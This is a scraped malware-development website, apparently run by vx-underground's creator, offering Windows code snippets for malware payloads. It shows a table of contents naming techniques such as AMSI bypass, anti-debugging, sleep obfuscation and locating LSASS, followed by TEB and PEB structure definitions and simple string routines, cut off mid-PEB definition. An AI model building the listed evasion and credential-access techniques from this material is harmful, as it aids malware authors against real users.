# Table of Contents - [Introduction | malware source code](#introduction-malware-source-code) - [Headers | malware source code](#headers-malware-source-code) - [CaplockString | malware source code](#caplockstring-malware-source-code) - [CRT Recreation | malware source code](#crt-recreation-malware-source-code) - [TEB (Thread Environment Block) | malware source code](#teb-thread-environment-block-malware-source-code) - [User32CaplockStringW | malware source code](#user32caplockstringw-malware-source-code) - [StringCompare | malware source code](#stringcompare-malware-source-code) - [CopyMemory | malware source code](#copymemory-malware-source-code) - [StringConcat | malware source code](#stringconcat-malware-source-code) - [StringCopy | malware source code](#stringcopy-malware-source-code) - [CaplockStringW | malware source code](#caplockstringw-malware-source-code) - [PEB (Process Environment Block) | malware source code](#peb-process-environment-block-malware-source-code) - [StringLength | malware source code](#stringlength-malware-source-code) - [StringLocateChar | malware source code](#stringlocatechar-malware-source-code) - [WCHAR to CHAR | malware source code](#wchar-to-char-malware-source-code) - [ByteArrayToCharArray | malware source code](#bytearraytochararray-malware-source-code) - [StringLengthW2 | malware source code](#stringlengthw2-malware-source-code) - [StringLengthW | malware source code](#stringlengthw-malware-source-code) - [CharArrayToByteArray | malware source code](#chararraytobytearray-malware-source-code) - [CHAR to WCHAR | malware source code](#char-to-wchar-malware-source-code) - [CharStringToWCharString | malware source code](#charstringtowcharstring-malware-source-code) - [ShlwapiCharStringToWCharString | malware source code](#shlwapicharstringtowcharstring-malware-source-code) - [ShlwapiWcharToChar | malware source code](#shlwapiwchartochar-malware-source-code) - [RtlInitUnicodeString | malware source code](#rtlinitunicodestring-malware-source-code) - [Antidebugging Methods | malware source code](#antidebugging-methods-malware-source-code) - [IsDebuggerPresentEx | malware source code](#isdebuggerpresentex-malware-source-code) - [WCharToCharSafe | malware source code](#wchartocharsafe-malware-source-code) - [WCharToCharUnsafe | malware source code](#wchartocharunsafe-malware-source-code) - [RtlInitAnsiString | malware source code](#rtlinitansistring-malware-source-code) - [Random Integer | malware source code](#random-integer-malware-source-code) - [CloseHandleOnInvalidAddress | malware source code](#closehandleoninvalidaddress-malware-source-code) - [StringTerminateStringAtChar | malware source code](#stringterminatestringatchar-malware-source-code) - [ZeroMemory | malware source code](#zeromemory-malware-source-code) - [RtlUniform | malware source code](#rtluniform-malware-source-code) - [ConvertCharStringToInt (NTDLL) | malware source code](#convertcharstringtoint-ntdll-malware-source-code) - [IsIntelHardwareBreakpointPresent | malware source code](#isintelhardwarebreakpointpresent-malware-source-code) - [ImplZeroMemory1 | malware source code](#implzeromemory1-malware-source-code) - [ImplZeroMemory2 | malware source code](#implzeromemory2-malware-source-code) - [JenkinsOneAtATime32Bit | malware source code](#jenkinsoneatatime32bit-malware-source-code) - [FowlerNollVoVariant1a 64 | malware source code](#fowlernollvovariant1a-64-malware-source-code) - [Sdbm | malware source code](#sdbm-malware-source-code) - [String Hashing | malware source code](#string-hashing-malware-source-code) - [FowlerNollVoVariant1a 32 | malware source code](#fowlernollvovariant1a-32-malware-source-code) - [Djb2a | malware source code](#djb2a-malware-source-code) - [Library Loading | malware source code](#library-loading-malware-source-code) - [GetTeb | malware source code](#getteb-malware-source-code) - [Djb2 | malware source code](#djb2-malware-source-code) - [LoseLose | malware source code](#loselose-malware-source-code) - [WinRT CryptographicBufferStatics | malware source code](#winrt-cryptographicbufferstatics-malware-source-code) - [IOCTL Cng Random | malware source code](#ioctl-cng-random-malware-source-code) - [Rotr32 Add 13 | malware source code](#rotr32-add-13-malware-source-code) - [GetPeb | malware source code](#getpeb-malware-source-code) - [Pjw | malware source code](#pjw-malware-source-code) - [GetKUserSharedData | malware source code](#getkusershareddata-malware-source-code) - [Rotr32 Add 7 | malware source code](#rotr32-add-7-malware-source-code) - [LdrLoadGetProcedureAddress | malware source code](#ldrloadgetprocedureaddress-malware-source-code) - [Murmur3 | malware source code](#murmur3-malware-source-code) - [ProxyWorkItemLoadLibrary | malware source code](#proxyworkitemloadlibrary-malware-source-code) - [ProxyRegisterWaitLoadLibrary | malware source code](#proxyregisterwaitloadlibrary-malware-source-code) - [Crc32NoTable | malware source code](#crc32notable-malware-source-code) - [Jhash | malware source code](#jhash-malware-source-code) - [GetLastErrorFromTeb | malware source code](#getlasterrorfromteb-malware-source-code) - [GetNumberOfLinkedDlls | malware source code](#getnumberoflinkeddlls-malware-source-code) - [RtlLoadPeHeaders | malware source code](#rtlloadpeheaders-malware-source-code) - [SuperFastHash | malware source code](#superfasthash-malware-source-code) - [Error Handling | malware source code](#error-handling-malware-source-code) - [GetLastNtStatusFromTeb | malware source code](#getlastntstatusfromteb-malware-source-code) - [Win32FromHResult | malware source code](#win32fromhresult-malware-source-code) - [Lookup3 | malware source code](#lookup3-malware-source-code) - [SipHash | malware source code](#siphash-malware-source-code) - [GetRtlUserProcessParameters | malware source code](#getrtluserprocessparameters-malware-source-code) - [RtlNtStatusToDosErrorViaImport | malware source code](#rtlntstatustodoserrorviaimport-malware-source-code) - [XXHash | malware source code](#xxhash-malware-source-code) - [Fingerprinting | malware source code](#fingerprinting-malware-source-code) - [IOCTL KsecDD Random | malware source code](#ioctl-ksecdd-random-malware-source-code) - [IsNvidiaGraphicsCardPresent | malware source code](#isnvidiagraphicscardpresent-malware-source-code) - [IsProcessRunning (simple) | malware source code](#isprocessrunning-simple-malware-source-code) - [WyHash | malware source code](#wyhash-malware-source-code) - [Function Import Methods | malware source code](#function-import-methods-malware-source-code) - [GetOsMinorVersionFromPeb | malware source code](#getosminorversionfrompeb-malware-source-code) - [PEB / TEB related | malware source code](#peb-teb-related-malware-source-code) - [GetOsMajorVersionFromPeb | malware source code](#getosmajorversionfrompeb-malware-source-code) - [GetOsPlatformIdFromPeb | malware source code](#getosplatformidfrompeb-malware-source-code) - [GetPidFromEnumProcesses | malware source code](#getpidfromenumprocesses-malware-source-code) - [GetCurrentLocaleFromTeb | malware source code](#getcurrentlocalefromteb-malware-source-code) - [Compression | malware source code](#compression-malware-source-code) - [Lsass Related | malware source code](#lsass-related-malware-source-code) - [Lempel-Ziv | malware source code](#lempel-ziv-malware-source-code) - [Xpress | malware source code](#xpress-malware-source-code) - [LzMaximumCompressBuffer | malware source code](#lzmaximumcompressbuffer-malware-source-code) - [GetLsaPidFromServiceManager | malware source code](#getlsapidfromservicemanager-malware-source-code) - [XpressMaximumDecompressBuffer | malware source code](#xpressmaximumdecompressbuffer-malware-source-code) - [LzStandardCompressBuffer | malware source code](#lzstandardcompressbuffer-malware-source-code) - [XpressMaximumCompressBuffer | malware source code](#xpressmaximumcompressbuffer-malware-source-code) - [XpressStandardDecompressBuffer | malware source code](#xpressstandarddecompressbuffer-malware-source-code) - [Evasion | malware source code](#evasion-malware-source-code) - [GetLsaPidFromNamedPipe | malware source code](#getlsapidfromnamedpipe-malware-source-code) - [XpressHuffStandardCompressBuffer | malware source code](#xpresshuffstandardcompressbuffer-malware-source-code) - [LzStandardDecompressBuffer | malware source code](#lzstandarddecompressbuffer-malware-source-code) - [GetLsaPidFromRegistry | malware source code](#getlsapidfromregistry-malware-source-code) - [IPv4IpAddressStructureToString | malware source code](#ipv4ipaddressstructuretostring-malware-source-code) - [Xpress Huff | malware source code](#xpress-huff-malware-source-code) - [XpressStandardCompressBuffer | malware source code](#xpressstandardcompressbuffer-malware-source-code) - [XpressHuffStandardDecompressBuffer | malware source code](#xpresshuffstandarddecompressbuffer-malware-source-code) - [LzMaximumDecompressBuffer | malware source code](#lzmaximumdecompressbuffer-malware-source-code) - [XpressHuffMaximumDecompressBuffer | malware source code](#xpresshuffmaximumdecompressbuffer-malware-source-code) - [XpressHuffMaximumCompressBuffer | malware source code](#xpresshuffmaximumcompressbuffer-malware-source-code) - [Networking | malware source code](#networking-malware-source-code) - [IsComInitialized | malware source code](#iscominitialized-malware-source-code) - [Delay execution until monitor off | malware source code](#delay-execution-until-monitor-off-malware-source-code) - [DnsGetDomainNameIPv4AddressAsString | malware source code](#dnsgetdomainnameipv4addressasstring-malware-source-code) - [GetDomainNameFromIPV4AddressAsString | malware source code](#getdomainnamefromipv4addressasstring-malware-source-code) - [Component Object Model | malware source code](#component-object-model-malware-source-code) - [Unlink DLL from process | malware source code](#unlink-dll-from-process-malware-source-code) - [AmsiBypass by Patching (OLD) | malware source code](#amsibypass-by-patching-old-malware-source-code) - [IPv4IpAddressUnsignedLongToString | malware source code](#ipv4ipaddressunsignedlongtostring-malware-source-code) - [DnsGetDomainNameIPv4AddressUnsignedLong | malware source code](#dnsgetdomainnameipv4addressunsignedlong-malware-source-code) - [CopyFileViaSetupCopyFile | malware source code](#copyfileviasetupcopyfile-malware-source-code) - [Proxied Functions | malware source code](#proxied-functions-malware-source-code) - [IeCreateFile | malware source code](#iecreatefile-malware-source-code) - [IERemoveDirectory | malware source code](#ieremovedirectory-malware-source-code) - [IEMoveFileEx | malware source code](#iemovefileex-malware-source-code) - [IeCreateDirectory | malware source code](#iecreatedirectory-malware-source-code) - [IEGetFileAttributesEx | malware source code](#iegetfileattributesex-malware-source-code) - [Sleep Obfuscation (unstable) | malware source code](#sleep-obfuscation-unstable-malware-source-code) - [IsProcessRunningAsAdmin2 | malware source code](#isprocessrunningasadmin2-malware-source-code) - [DeleteDirectoryAndSubData | malware source code](#deletedirectoryandsubdata-malware-source-code) - [CoCreateIsoForMounting | malware source code](#cocreateisoformounting-malware-source-code) - [CoEnumUPnPDevices | malware source code](#coenumupnpdevices-malware-source-code) - [CoGetEnvironmentVariableW | malware source code](#cogetenvironmentvariablew-malware-source-code) - [CoXMLHTTPDownloadByteFileW | malware source code](#coxmlhttpdownloadbytefilew-malware-source-code) - [CreateFileFromDsCopyFromSharedFile | malware source code](#createfilefromdscopyfromsharedfile-malware-source-code) - [Why do video games use kernel-mode anti-cheats? | malware source code](#why-do-video-games-use-kernel-mode-anti-cheats-malware-source-code) - [Fake Lockbit 5.0 silliness and 3 layers of ransomware lasagna | malware source code](#fake-lockbit-5-0-silliness-and-3-layers-of-ransomware-lasagna-malware-source-code) - [Wtf are these Threat Actors doing? XUbuntu malware is dumb and stinky | malware source code](#wtf-are-these-threat-actors-doing-xubuntu-malware-is-dumb-and-stinky-malware-source-code) - [The rise of malware mainstream "acceptance" and "popularity" is thanks to the government | malware source code](#the-rise-of-malware-mainstream-acceptance-and-popularity-is-thanks-to-the-government-malware-source-code) - [Can "adult" websites actually "infect" your computer? | malware source code](#can-adult-websites-actually-infect-your-computer-malware-source-code) --- # Introduction | malware source code ![Page cover](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2Fgitbookio.github.io%2Fonboarding-template-images%2Fheader.png&width=1248&dpr=4&quality=100&sign=d82f80bf&sv=2)![Page cover](https://malwaresourcecode.com/home/~gitbook/image?url=https%3A%2F%2F1909493350-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FgMMhrryVZFTw609ivOju%252Fuploads%252FajeNN7MbuhnHaQE9DMSY%252FRANSOMWARE-AKTIVIST_KEY.png%3Falt%3Dmedia%26token%3D708308c3-0ddf-4e5d-9f97-0806d1f4fc8d&width=1248&dpr=4&quality=100&sign=e20aea3d&sv=2) Hi, I'm the creator and administrator of [vx-underground](https://vx-underground.org/) . This is my personal website. If you'd like to receive updates on my various projects, memes, or dumb opinions on stuff, you can follow vx-underground on [X (formerly Twitter)](https://x.com/vxunderground) . I'm fairly active there. This website is dedicated to sharing my various malware source code snippets, research, write-ups, and ideas. If you've found this website and you're looking for malware source code to existing or previous malware families you can view it on my GitHub: [https://github.com/vxunderground](https://github.com/vxunderground/MalwareSourceCode) All of the code present uses the WINAPI and is designed for Windows malware payloads. All of this code is shared for educational usage only. Malware is cool. Please don't be a jerk. -smelly smellington [NextHeaders](https://malwaresourcecode.com/home/code-base/headers) Last updated 2 days ago --- # Headers | malware source code [PreviousIntroduction](https://malwaresourcecode.com/home) [NextPEB (Process Environment Block)](https://malwaresourcecode.com/home/code-base/headers/peb-process-environment-block) Last updated 2 days ago --- # CaplockString | malware source code [User32CaplockStringW](https://malwaresourcecode.com/home/code-base/markdown/caplockstring/user32caplockstringw) [CaplockStringW](https://malwaresourcecode.com/home/code-base/markdown/caplockstring/caplockstringw) [PreviousCRT Recreation](https://malwaresourcecode.com/home/code-base/markdown) [NextUser32CaplockStringW](https://malwaresourcecode.com/home/code-base/markdown/caplockstring/user32caplockstringw) --- # CRT Recreation | malware source code [CaplockString](https://malwaresourcecode.com/home/code-base/markdown/caplockstring) [CopyMemory](https://malwaresourcecode.com/home/code-base/markdown/copymemory) [StringCompare](https://malwaresourcecode.com/home/code-base/markdown/stringcompare) [StringConcat](https://malwaresourcecode.com/home/code-base/markdown/stringconcat) [StringCopy](https://malwaresourcecode.com/home/code-base/markdown/stringcopy) [StringLength](https://malwaresourcecode.com/home/code-base/markdown/stringlength) [StringLocateChar](https://malwaresourcecode.com/home/code-base/markdown/stringlocatechar) [WCHAR to CHAR](https://malwaresourcecode.com/home/code-base/markdown/wchar-to-char) [CHAR to WCHAR](https://malwaresourcecode.com/home/code-base/markdown/char-to-wchar) [ByteArrayToCharArray](https://malwaresourcecode.com/home/code-base/markdown/bytearraytochararray) [CharArrayToByteArray](https://malwaresourcecode.com/home/code-base/markdown/chararraytobytearray) [StringTerminateStringAtChar](https://malwaresourcecode.com/home/code-base/markdown/stringterminatestringatchar) [RtlInitAnsiString](https://malwaresourcecode.com/home/code-base/markdown/rtlinitansistring) [RtlInitUnicodeString](https://malwaresourcecode.com/home/code-base/markdown/rtlinitunicodestring) [Random Integer](https://malwaresourcecode.com/home/code-base/markdown/random-integer) [ConvertCharStringToInt (NTDLL)](https://malwaresourcecode.com/home/code-base/markdown/convertcharstringtoint-ntdll) [ZeroMemory](https://malwaresourcecode.com/home/code-base/markdown/zeromemory) [PreviousTEB (Thread Environment Block)](https://malwaresourcecode.com/home/code-base/headers/teb-thread-environment-block) [NextCaplockString](https://malwaresourcecode.com/home/code-base/markdown/caplockstring) Last updated 1 day ago --- # TEB (Thread Environment Block) | malware source code Header via [https://ntdoc.m417z.com/teb](https://ntdoc.m417z.com/teb) Copy #define GDI_BATCH_BUFFER_SIZE 310 #define WIN32_CLIENT_INFO_LENGTH 62 #define STATIC_UNICODE_BUFFER_LENGTH 261 typedef struct _CLIENT_ID { HANDLE UniqueProcess; HANDLE UniqueThread; } CLIENT_ID, * PCLIENT_ID; typedef VOID(NTAPI* PACTIVATION_CONTEXT_NOTIFY_ROUTINE)( _In_ ULONG NotificationType, _In_ PACTIVATION_CONTEXT ActivationContext, _In_ PACTIVATION_CONTEXT_DATA ActivationContextData, _In_opt_ PVOID NotificationContext, _In_opt_ PVOID NotificationData, _Inout_ PBOOLEAN DisableThisNotification ); typedef struct tagSOleTlsData { PVOID ThreadBase; PVOID SmAllocator; ULONG ApartmentID; ULONG Flags; // OLETLSFLAGS LONG TlsMapIndex; PVOID* TlsSlot; ULONG ComInits; ULONG OleInits; ULONG Calls; PVOID ServerCall; // previously CallInfo (before TH1) PVOID CallObjectCache; // previously FreeAsyncCall (before TH1) PVOID ContextStack; // previously FreeClientCall (before TH1) PVOID ObjServer; ULONG TIDCaller; // ... (other fields are version-dependant) } SOleTlsData, * PSOleTlsData; typedef struct _ACTIVATION_CONTEXT { LONG RefCount; ULONG Flags; PACTIVATION_CONTEXT_DATA ActivationContextData; PACTIVATION_CONTEXT_NOTIFY_ROUTINE NotificationRoutine; PVOID NotificationContext; ULONG SentNotifications[8]; ULONG DisabledNotifications[8]; ASSEMBLY_STORAGE_MAP StorageMap; PASSEMBLY_STORAGE_MAP_ENTRY InlineStorageMapEntries[32]; } ACTIVATION_CONTEXT, * PACTIVATION_CONTEXT; typedef struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME { struct _RTL_ACTIVATION_CONTEXT_STACK_FRAME* Previous; PACTIVATION_CONTEXT ActivationContext; ULONG Flags; } RTL_ACTIVATION_CONTEXT_STACK_FRAME, * PRTL_ACTIVATION_CONTEXT_STACK_FRAME; typedef struct _ACTIVATION_CONTEXT_STACK { PRTL_ACTIVATION_CONTEXT_STACK_FRAME ActiveFrame; LIST_ENTRY FrameListCache; ULONG Flags; ULONG NextCookieSequenceNumber; ULONG StackId; } ACTIVATION_CONTEXT_STACK, * PACTIVATION_CONTEXT_STACK; typedef struct _GDI_TEB_BATCH { ULONG Offset; ULONG_PTR HDC; ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; } GDI_TEB_BATCH, * PGDI_TEB_BATCH; typedef struct _TEB_ACTIVE_FRAME_CONTEXT { ULONG Flags; PCSTR FrameName; } TEB_ACTIVE_FRAME_CONTEXT, * PTEB_ACTIVE_FRAME_CONTEXT; typedef struct _TEB_ACTIVE_FRAME { ULONG Flags; struct _TEB_ACTIVE_FRAME* Previous; PTEB_ACTIVE_FRAME_CONTEXT Context; } TEB_ACTIVE_FRAME, * PTEB_ACTIVE_FRAME; typedef struct _LDR_RESLOADER_RET { PVOID Module; PVOID DataEntry; PVOID TargetModule; } LDR_RESLOADER_RET, * PLDR_RESLOADER_RET; typedef struct _TEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; ULONG User32Reserved[26]; ULONG UserReserved[5]; PVOID WOW32Reserved; LCID CurrentLocale; ULONG FpSoftwareStatusRegister; PVOID ReservedForDebuggerInstrumentation[16]; #ifdef _WIN64 PVOID SystemReserved1[25]; PVOID HeapFlsData; ULONG_PTR RngState[4]; #else PVOID SystemReserved1[26]; #endif CHAR PlaceholderCompatibilityMode; BOOLEAN PlaceholderHydrationAlwaysExplicit; CHAR PlaceholderReserved[10]; ULONG ProxiedProcessId; ACTIVATION_CONTEXT_STACK ActivationStack; UCHAR WorkingOnBehalfTicket[8]; NTSTATUS ExceptionCode; PACTIVATION_CONTEXT_STACK ActivationContextStackPointer; ULONG_PTR InstrumentationCallbackSp; ULONG_PTR InstrumentationCallbackPreviousPc; ULONG_PTR InstrumentationCallbackPreviousSp; #ifdef _WIN64 ULONG TxFsContext; #endif BOOLEAN InstrumentationCallbackDisabled; #ifdef _WIN64 BOOLEAN UnalignedLoadStoreExceptions; #endif #ifndef _WIN64 UCHAR SpareBytes[23]; ULONG TxFsContext; #endif GDI_TEB_BATCH GdiTebBatch; CLIENT_ID RealClientId; HANDLE GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; PVOID GdiThreadLocalInfo; ULONG_PTR Win32ClientInfo[WIN32_CLIENT_INFO_LENGTH]; PVOID glDispatchTable[233]; ULONG_PTR glReserved1[29]; PVOID glReserved2; PVOID glSectionInfo; PVOID glSection; PVOID glTable; PVOID glCurrentRC; PVOID glContext; NTSTATUS LastStatusValue; UNICODE_STRING StaticUnicodeString; WCHAR StaticUnicodeBuffer[STATIC_UNICODE_BUFFER_LENGTH]; PVOID DeallocationStack; PVOID TlsSlots[TLS_MINIMUM_AVAILABLE]; LIST_ENTRY TlsLinks; PVOID Vdm; PVOID ReservedForNtRpc; PVOID DbgSsReserved[2]; ULONG HardErrorMode; #ifdef _WIN64 PVOID Instrumentation[11]; #else PVOID Instrumentation[9]; #endif GUID ActivityId; PVOID SubProcessTag; PVOID PerflibData; PVOID EtwTraceData; HANDLE WinSockData; ULONG GdiBatchCount; union { PROCESSOR_NUMBER CurrentIdealProcessor; ULONG IdealProcessorValue; struct { UCHAR ReservedPad0; UCHAR ReservedPad1; UCHAR ReservedPad2; UCHAR IdealProcessor; }; }; ULONG GuaranteedStackBytes; PVOID ReservedForPerf; PSOleTlsData ReservedForOle; ULONG WaitingOnLoaderLock; PVOID SavedPriorityState; ULONG_PTR ReservedForCodeCoverage; PVOID ThreadPoolData; PVOID* TlsExpansionSlots; #ifdef _WIN64 PVOID ChpeV2CpuAreaInfo; PVOID Unused; #endif ULONG MuiGeneration; ULONG IsImpersonating; PVOID NlsCache; PVOID pShimData; ULONG HeapData; HANDLE CurrentTransactionHandle; PTEB_ACTIVE_FRAME ActiveFrame; PVOID FlsData; PVOID PreferredLanguages; PVOID UserPrefLanguages; PVOID MergedPrefLanguages; ULONG MuiImpersonation; union { USHORT CrossTebFlags; USHORT SpareCrossTebBits : 16; }; union { USHORT SameTebFlags; struct { USHORT SafeThunkCall : 1; USHORT InDebugPrint : 1; // Indicates if the thread is currently in a debug print routine. USHORT HasFiberData : 1; // Indicates if the thread has local fiber-local storage (FLS). USHORT SkipThreadAttach : 1; // Indicates if the thread should suppress DLL_THREAD_ATTACH notifications. USHORT WerInShipAssertCode : 1; USHORT RanProcessInit : 1; // Indicates if the thread has run process initialization code. USHORT ClonedThread : 1; // Indicates if the thread is a clone of a different thread. USHORT SuppressDebugMsg : 1; // Indicates if the thread should suppress LOAD_DLL_DEBUG_INFO notifications. USHORT DisableUserStackWalk : 1; USHORT RtlExceptionAttached : 1; USHORT InitialThread : 1; // Indicates if the thread is the initial thread of the process. USHORT SessionAware : 1; USHORT LoadOwner : 1; // Indicates if the thread is the owner of the process loader lock. USHORT LoaderWorker : 1; USHORT SkipLoaderInit : 1; USHORT SkipFileAPIBrokering : 1; }; }; PVOID TxnScopeEnterCallback; PVOID TxnScopeExitCallback; PVOID TxnScopeContext; ULONG LockCount; LONG WowTebOffset; PLDR_RESLOADER_RET ResourceRetValue; PVOID ReservedForWdf; ULONGLONG ReservedForCrt; GUID EffectiveContainerId; ULONGLONG LastSleepCounter; // since Win11 ULONG SpinCallCount; ULONGLONG ExtendedFeatureDisableMask; PVOID SchedulerSharedDataSlot; // since 24H2 PVOID HeapWalkContext; GROUP_AFFINITY PrimaryGroupAffinity; ULONG Rcu[2]; } TEB, * PTEB; [PreviousPEB (Process Environment Block)](https://malwaresourcecode.com/home/code-base/headers/peb-process-environment-block) [NextCRT Recreation](https://malwaresourcecode.com/home/code-base/markdown) Last updated 2 days ago --- # User32CaplockStringW | malware source code Copy #include SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } VOID User32CaplockStringW(PWCHAR String) { CharUpperBuffW(String, StringLengthW(String)); } INT main(VOID) { WCHAR StringExample[] = L"Hash This String"; User32CaplockStringW(StringExample); return ERROR_SUCCESS; } [PreviousCaplockString](https://malwaresourcecode.com/home/code-base/markdown/caplockstring) [NextCaplockStringW](https://malwaresourcecode.com/home/code-base/markdown/caplockstring/caplockstringw) Last updated 1 day ago --- # StringCompare | malware source code Copy #include INT StringCompareW(_In_ LPCWSTR String1, _In_ LPCWSTR String2) { for (; *String1 == *String2; String1++, String2++) { if (*String1 == '\0') return 0; } return ((*(LPCWSTR)String1 < *(LPCWSTR)String2) ? -1 : +1); } INT main(VOID) { WCHAR String1[] = L"Cat"; WCHAR String2[] = L"Cat"; WCHAR String3[] = L"Dog"; INT Result = 0; Result = StringCompareW(String1, String2); //returns 0, strings equal Result = StringCompareW(String1, String3); //returns non-zero, strings not equal return ERROR_SUCCESS; } [PreviousCopyMemory](https://malwaresourcecode.com/home/code-base/markdown/copymemory) [NextStringConcat](https://malwaresourcecode.com/home/code-base/markdown/stringconcat) Last updated 1 day ago --- # CopyMemory | malware source code Copy PVOID CopyMemoryEx(_Inout_ PVOID Destination, _In_ CONST PVOID Source, _In_ SIZE_T Length) { PBYTE D = (PBYTE)Destination; PBYTE S = (PBYTE)Source; while (Length--) *D++ = *S++; return Destination; } [PreviousCaplockStringW](https://malwaresourcecode.com/home/code-base/markdown/caplockstring/caplockstringw) [NextStringCompare](https://malwaresourcecode.com/home/code-base/markdown/stringcompare) Last updated 8 days ago --- # StringConcat | malware source code Copy #include SIZE_T StringLengthW(_In_ LPCWSTR String) { LPCWSTR String2; for (String2 = String; *String2; ++String2); return (String2 - String); } PWCHAR StringCopyW(_Inout_ PWCHAR String1, _In_ LPCWSTR String2) { PWCHAR p = String1; while ((*p++ = *String2++) != 0); return String1; } PWCHAR StringConcatW(_Inout_ PWCHAR String, _In_ LPCWSTR String2) { StringCopyW(&String[StringLengthW(String)], String2); return String; } INT main(VOID) { WCHAR StringExample[256] = L"Hash This"; WCHAR AppendedString[] = L" String"; //append appendedstring to string example StringConcatW(StringExample, AppendedString); return ERROR_SUCCESS; } [PreviousStringCompare](https://malwaresourcecode.com/home/code-base/markdown/stringcompare) [NextStringCopy](https://malwaresourcecode.com/home/code-base/markdown/stringcopy) Last updated 1 day ago --- # StringCopy | malware source code Copy #include PWCHAR StringCopyW(_Inout_ PWCHAR String1, _In_ LPCWSTR String2) { PWCHAR p = String1; while ((*p++ = *String2++) != 0); return String1; } INT main(VOID) { WCHAR StringExample[256] = L"Hash This String"; WCHAR EmptyBuffer[256] = { 0 }; //copy stringexample into emptybuffer StringCopyW(EmptyBuffer, StringExample); return ERROR_SUCCESS; } [PreviousStringConcat](https://malwaresourcecode.com/home/code-base/markdown/stringconcat) [NextStringLength](https://malwaresourcecode.com/home/code-base/markdown/stringlength) Last updated 1 day ago --- # CaplockStringW | malware source code Copy #include VOID CaplockStringW(PWCHAR String) { for (; *String; ++String) { WCHAR IndividualCharacter = *String; if (IndividualCharacter >= L'a' && IndividualCharacter <= L'z') *String = (WCHAR)(IndividualCharacter - (L'a' - L'A')); } } INT main(VOID) { WCHAR StringExample[] = L"Hash This String"; CaplockStringW(StringExample); return ERROR_SUCCESS; } [PreviousUser32CaplockStringW](https://malwaresourcecode.com/home/code-base/markdown/caplockstring/user32caplockstringw) [NextCopyMemory](https://malwaresourcecode.com/home/code-base/markdown/copymemory) Last updated 1 day ago --- # PEB (Process Environment Block) | malware source code Header via [https://ntdoc.m417z.com/peb](https://ntdoc.m417z.com/peb) Copy #include #define RTL_MAX_DRIVE_LETTERS 32 #define MAXIMUM_LEADBYTES 12 typedef _Function_class_(FN_DISPATCH) NTSTATUS NTAPI FN_DISPATCH( _In_opt_ PVOID Context); typedef FN_DISPATCH* PFN_DISPATCH; #define GDI_HANDLE_BUFFER_SIZE32 34 #define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; typedef _Function_class_(PS_POST_PROCESS_INIT_ROUTINE)VOID NTAPI PS_POST_PROCESS_INIT_ROUTINE(VOID); typedef PS_POST_PROCESS_INIT_ROUTINE* PPS_POST_PROCESS_INIT_ROUTINE; typedef struct _LEAP_SECOND_DATA* PLEAP_SECOND_DATA; typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef struct _LDR_MODULE { LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; PVOID BaseAddress; PVOID EntryPoint; ULONG SizeOfImage; UNICODE_STRING FullDllName; UNICODE_STRING BaseDllName; ULONG Flags; SHORT LoadCount; SHORT TlsIndex; LIST_ENTRY HashTableEntry; ULONG TimeDateStamp; } LDR_MODULE, * PLDR_MODULE; typedef struct _PEB_LDR_DATA { ULONG Length; ULONG Initialized; PVOID SsHandle; LIST_ENTRY InLoadOrderModuleList; LIST_ENTRY InMemoryOrderModuleList; LIST_ENTRY InInitializationOrderModuleList; } PEB_LDR_DATA, * PPEB_LDR_DATA; typedef struct _CURDIR { UNICODE_STRING DosPath; PVOID Handle; }CURDIR, * PCURDIR; typedef struct _STRING { USHORT Length; USHORT MaximumLength; PCHAR Buffer; } ANSI_STRING, * PANSI_STRING; typedef struct _RTL_DRIVE_LETTER_CURDIR { WORD Flags; WORD Length; ULONG TimeStamp; ANSI_STRING DosPath; } RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR; typedef struct _RTL_USER_PROCESS_PARAMETERS{ ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; HANDLE ConsoleHandle; ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; UNICODE_STRING DllPath; UNICODE_STRING ImagePathName; UNICODE_STRING CommandLine; PVOID Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; ULONG_PTR EnvironmentSize; ULONG_PTR EnvironmentVersion; PVOID PackageDependencyData; ULONG ProcessGroupId; ULONG LoaderThreads; UNICODE_STRING RedirectionDllName; UNICODE_STRING HeapPartitionName; PULONGLONG DefaultThreadpoolCpuSetMasks; ULONG DefaultThreadpoolCpuSetMaskCount; ULONG DefaultThreadpoolThreadMaximum; ULONG HeapMemoryTypeMask; } RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS; typedef struct _KERNEL_CALLBACK_TABLE{ PFN_DISPATCH __fnCOPYDATA; PFN_DISPATCH __fnCOPYGLOBALDATA; PFN_DISPATCH __fnEMPTY1; PFN_DISPATCH __fnNCDESTROY; PFN_DISPATCH __fnDWORDOPTINLPMSG; PFN_DISPATCH __fnINOUTDRAG; PFN_DISPATCH __fnGETTEXTLENGTHS1; PFN_DISPATCH 